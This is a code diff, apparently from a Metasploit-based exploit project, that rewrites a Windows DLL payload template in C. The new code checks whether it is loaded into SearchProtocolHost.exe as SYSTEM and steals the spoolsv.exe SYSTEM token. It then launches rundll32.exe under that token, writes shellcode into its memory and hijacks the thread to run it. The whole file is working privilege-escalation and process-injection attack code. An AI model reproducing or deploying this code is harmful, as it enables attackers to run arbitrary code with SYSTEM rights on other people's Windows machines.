1
- // Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll
2
- // - removed ExitThread(0) to prevent an Explorer crash
3
- // - added Mutex to prevent invoking payload multiple times (at least try)
4
1
#include <windows.h>
5
- #include "template.h"
2
+ #include <sddl.h>
3
+ #include <tchar.h>
4
+ #include <tlhelp32.h>
5
+ #include <userenv.h>
6
6
7
- void inline_bzero (void * p , size_t l )
8
- {
9
- BYTE * q = (BYTE * )p ;
10
- size_t x = 0 ;
11
- for (x = 0 ; x < l ; x ++ )
12
- * (q ++ ) = 0x00 ;
13
- }
7
+ #include "template.h"
14
8
15
- void ExecutePayload (void );
9
+ void ExecutePayload (HANDLE hDll );
16
10
17
- BOOL WINAPI DllMain (HANDLE hDll , DWORD dwReason , LPVOID lpReserved )
18
- {
19
- switch (dwReason )
20
- {
11
+ BOOL WINAPI DllMain (HANDLE hDll , DWORD dwReason , LPVOID lpReserved ) {
12
+ switch (dwReason ) {
21
13
case DLL_PROCESS_ATTACH :
22
- ExecutePayload ();
14
+ ExecutePayload (hDll );
23
15
break ;
24
16
25
17
case DLL_PROCESS_DETACH :
@@ -31,65 +23,232 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
31
23
case DLL_THREAD_DETACH :
32
24
break ;
33
25
}
26
+ return TRUE;
27
+ }
28
+
29
+ BOOL StringEndsWithStringA (LPCSTR szStr , LPCSTR szSuffix , BOOL bCaseSensitive ) {
30
+ int result ;
31
+
32
+ if (strlen (szStr ) < strlen (szSuffix )) {
33
+ return FALSE;
34
+ }
35
+ if (bCaseSensitive ) {
36
+ result = strcmp ((szStr + strlen (szStr ) - strlen (szSuffix )), szSuffix );
37
+ }
38
+ else {
39
+ result = _stricmp ((szStr + strlen (szStr ) - strlen (szSuffix )), szSuffix );
40
+ }
41
+ return result == 0 ;
42
+ }
43
+
44
+ BOOL GetProcessSid (HANDLE hProc , PSID * pSid ) {
45
+ HANDLE hToken ;
46
+ DWORD dwLength = 0 ;
47
+ TOKEN_USER * tuUser = NULL ;
48
+ SIZE_T szSid = 0 ;
49
+
50
+ * pSid = NULL ;
51
+ do {
52
+ if (!OpenProcessToken (hProc , (TOKEN_READ ), & hToken )) {
53
+ return FALSE;
54
+ }
55
+
56
+ GetTokenInformation (hToken , TokenUser , NULL , 0 , & dwLength );
57
+ tuUser = (TOKEN_USER * )malloc (dwLength );
58
+ if (tuUser == NULL ) {
59
+ break ;
60
+ }
61
+
62
+ if (!GetTokenInformation (hToken , TokenUser , tuUser , dwLength , & dwLength )) {
63
+ break ;
64
+ }
65
+
66
+ szSid = GetLengthSid (tuUser -> User .Sid );
67
+ * pSid = LocalAlloc (LPTR , szSid );
68
+ if (* pSid == NULL ) {
69
+ break ;
70
+ }
71
+
72
+ if (!CopySid ((DWORD )szSid , * pSid , tuUser -> User .Sid )) {
73
+ LocalFree (* pSid );
74
+ * pSid = NULL ;
75
+ }
76
+ } while (FALSE);
77
+
78
+ if (tuUser != NULL ) {
79
+ free (tuUser );
80
+ }
81
+ if (hToken ) {
82
+ CloseHandle (hToken );
83
+ }
84
+
85
+ if (* pSid != NULL ) {
86
+ return TRUE;
87
+ }
88
+ return FALSE;
89
+ }
90
+
91
+ BOOL IsProcessRunningAsSidString (HANDLE hProc , LPCTSTR sStringSid , PBOOL pbResult ) {
92
+ PSID pTestSid = NULL ;
93
+ PSID pTargetSid = NULL ;
94
+
95
+ if (!ConvertStringSidToSid (sStringSid , & pTargetSid )) {
96
+ return FALSE;
97
+ }
34
98
99
+ if (!GetProcessSid (hProc , & pTestSid )) {
100
+ LocalFree (pTargetSid );
101
+ return FALSE;
102
+ }
103
+
104
+ * pbResult = EqualSid (pTestSid , pTargetSid );
105
+ LocalFree (pTargetSid );
106
+ LocalFree (pTestSid );
35
107
return TRUE;
36
108
}
37
109
38
- void ExecutePayload (void )
39
- {
110
+ DWORD FindProcessId (LPCTSTR szProcessName ) {
111
+ HANDLE hProcessSnap ;
112
+ PROCESSENTRY32 pe32 ;
113
+ DWORD result = 0 ;
114
+
115
+ hProcessSnap = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS , 0 );
116
+ if (hProcessSnap == INVALID_HANDLE_VALUE ) {
117
+ return 0 ;
118
+ }
119
+
120
+ pe32 .dwSize = sizeof (PROCESSENTRY32 );
121
+ if (!Process32First (hProcessSnap , & pe32 )) {
122
+ CloseHandle (hProcessSnap );
123
+ return 0 ;
124
+ }
125
+
126
+ do {
127
+ if (!strcmp (szProcessName , pe32 .szExeFile )) {
128
+ result = pe32 .th32ProcessID ;
129
+ break ;
130
+ }
131
+ } while (Process32Next (hProcessSnap , & pe32 ));
132
+ CloseHandle (hProcessSnap );
133
+ return result ;
134
+ }
135
+
136
+ HANDLE GetPayloadToken (void ) {
137
+ HANDLE hTokenHandle = NULL ;
138
+ HANDLE hProcessHandle = NULL ;
139
+ BOOL bIsSystem = FALSE;
140
+ DWORD dwPid = 0 ;
141
+ CHAR Path [MAX_PATH + 1 ];
142
+
143
+ ZeroMemory (Path , sizeof (Path ));
144
+ GetModuleFileNameA (NULL , Path , MAX_PATH );
145
+ if (!StringEndsWithStringA (Path , "\\SearchProtocolHost.exe" , TRUE)) {
146
+ return NULL ;
147
+ }
148
+ /* loaded into the context of SearchProtocolHost.exe */
149
+
150
+ if (IsProcessRunningAsSystem (GetCurrentProcess (), & bIsSystem ) && (!bIsSystem )) {
151
+ return NULL ;
152
+ }
153
+ /* and running as NT_AUTHORITY SYSTEM */
154
+
155
+ dwPid = FindProcessId ("spoolsv.exe" );
156
+ if (!dwPid ) {
157
+ return NULL ;
158
+ }
159
+
160
+ hProcessHandle = OpenProcess (PROCESS_QUERY_INFORMATION , FALSE, dwPid );
161
+ if (!hProcessHandle ) {
162
+ return NULL ;
163
+ }
164
+
165
+ bIsSystem = FALSE;
166
+ if (IsProcessRunningAsSystem (hProcessHandle , & bIsSystem ) && (!bIsSystem )) {
167
+ return NULL ;
168
+ }
169
+ /* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
170
+
171
+ OpenProcessToken (hProcessHandle , TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY , & hTokenHandle );
172
+ CloseHandle (hProcessHandle );
173
+ return hTokenHandle ;
174
+ }
175
+
176
+ DWORD WINAPI MonitorPayloadProcess (PEXPLOIT_DATA pExploitData ) {
177
+ /* wait for the process to exit or 10 seconds before cleaning up */
178
+ WaitForSingleObject (pExploitData -> hProcess , 10000 );
179
+ CloseHandle (pExploitData -> hProcess );
180
+ CloseHandle (pExploitData -> hMutex );
181
+
182
+ /* this does not return */
183
+ FreeLibraryAndExitThread (pExploitData -> hModule , 0 );
184
+ return 0 ;
185
+ }
186
+
187
+ void ExecutePayload (HANDLE hDll ) {
40
188
PROCESS_INFORMATION pi ;
41
189
STARTUPINFO si ;
42
190
CONTEXT ctx ;
43
191
LPVOID ep ;
44
- HANDLE hMutex ;
45
192
SECURITY_ATTRIBUTES MutexAttributes ;
193
+ SIZE_T dwBytesWritten = 0 ;
194
+ PEXPLOIT_DATA pExploitData = NULL ;
195
+ HANDLE hToken ;
46
196
47
- inline_bzero (& MutexAttributes , sizeof (MutexAttributes ));
197
+ pExploitData = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY , sizeof (EXPLOIT_DATA ));
198
+ if (!pExploitData ) {
199
+ return ;
200
+ }
201
+
202
+ /* keep a reference to the module for synchronization purposes */
203
+ GetModuleHandleEx (GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS , hDll , (HINSTANCE * )& (pExploitData -> hModule ));
204
+
205
+ ZeroMemory (& MutexAttributes , sizeof (MutexAttributes ));
48
206
MutexAttributes .nLength = sizeof (MutexAttributes );
49
207
MutexAttributes .bInheritHandle = TRUE; // inherit the handle
50
- hMutex = CreateMutex (& MutexAttributes , TRUE, "MsfMutex" );
51
- if (hMutex == NULL )
52
- {
208
+ pExploitData -> hMutex = CreateMutex (& MutexAttributes , TRUE, "MUTEX!!!" );
209
+ if (!pExploitData -> hMutex ) {
53
210
return ;
54
211
}
55
212
56
- if (GetLastError () == ERROR_ALREADY_EXISTS )
57
- {
58
- CloseHandle (hMutex );
213
+ if (GetLastError () == ERROR_ALREADY_EXISTS ) {
214
+ CloseHandle (pExploitData -> hMutex );
59
215
return ;
60
216
}
61
217
62
- if (GetLastError () == ERROR_ACCESS_DENIED )
63
- {
64
- CloseHandle (hMutex );
218
+ if (GetLastError () == ERROR_ACCESS_DENIED ) {
219
+ CloseHandle (pExploitData -> hMutex );
65
220
return ;
66
221
}
67
222
68
- // Start up the payload in a new process
69
- inline_bzero (& si , sizeof (si ));
223
+ hToken = GetPayloadToken ();
224
+
225
+ ZeroMemory (& si , sizeof (si ));
70
226
si .cb = sizeof (si );
71
227
72
- // Create a suspended process, write shellcode into stack, resume it
73
- if ( CreateProcess ( NULL , "rundll32.exe" , NULL , NULL , TRUE , CREATE_SUSPENDED | IDLE_PRIORITY_CLASS , NULL , NULL , & si , & pi )) {
74
- ctx .ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL ;
228
+ /* start up the payload in a new process */
229
+ if ( CreateProcessAsUser ( hToken , NULL , "rundll32.exe" , NULL , NULL , FALSE , CREATE_SUSPENDED | IDLE_PRIORITY_CLASS , NULL , NULL , & si , & pi )) {
230
+ ctx .ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL ;
75
231
GetThreadContext (pi .hThread , & ctx );
76
-
77
232
ep = (LPVOID )VirtualAllocEx (pi .hProcess , NULL , SCSIZE , MEM_COMMIT , PAGE_EXECUTE_READWRITE );
78
- WriteProcessMemory (pi .hProcess ,(PVOID )ep , & code , SCSIZE , 0 );
233
+ WriteProcessMemory (pi .hProcess ,(PVOID )ep , & code , SCSIZE , & dwBytesWritten );
234
+ if (dwBytesWritten == SCSIZE ) {
79
235
80
236
#ifdef _WIN64
81
- ctx .Rip = (DWORD64 )ep ;
237
+ ctx .Rip = (DWORD64 )ep ;
82
238
#else
83
- ctx .Eip = (DWORD )ep ;
239
+ ctx .Eip = (DWORD )ep ;
84
240
#endif
85
241
86
- SetThreadContext (pi .hThread , & ctx );
87
- ResumeThread (pi .hThread );
242
+ SetThreadContext (pi .hThread , & ctx );
243
+ ResumeThread (pi .hThread );
88
244
89
- CloseHandle (pi .hThread );
90
- CloseHandle (pi .hProcess );
245
+ CloseHandle (pi .hThread );
246
+ pExploitData -> hProcess = pi .hProcess ;
247
+ }
91
248
}
92
249
93
- CloseHandle (hMutex );
250
+ if (hToken ) {
251
+ CloseHandle (hToken );
252
+ }
253
+ CreateThread (NULL , 0 , (LPTHREAD_START_ROUTINE )MonitorPayloadProcess , pExploitData , 0 , NULL );
94
254
}
95
-
0 commit comments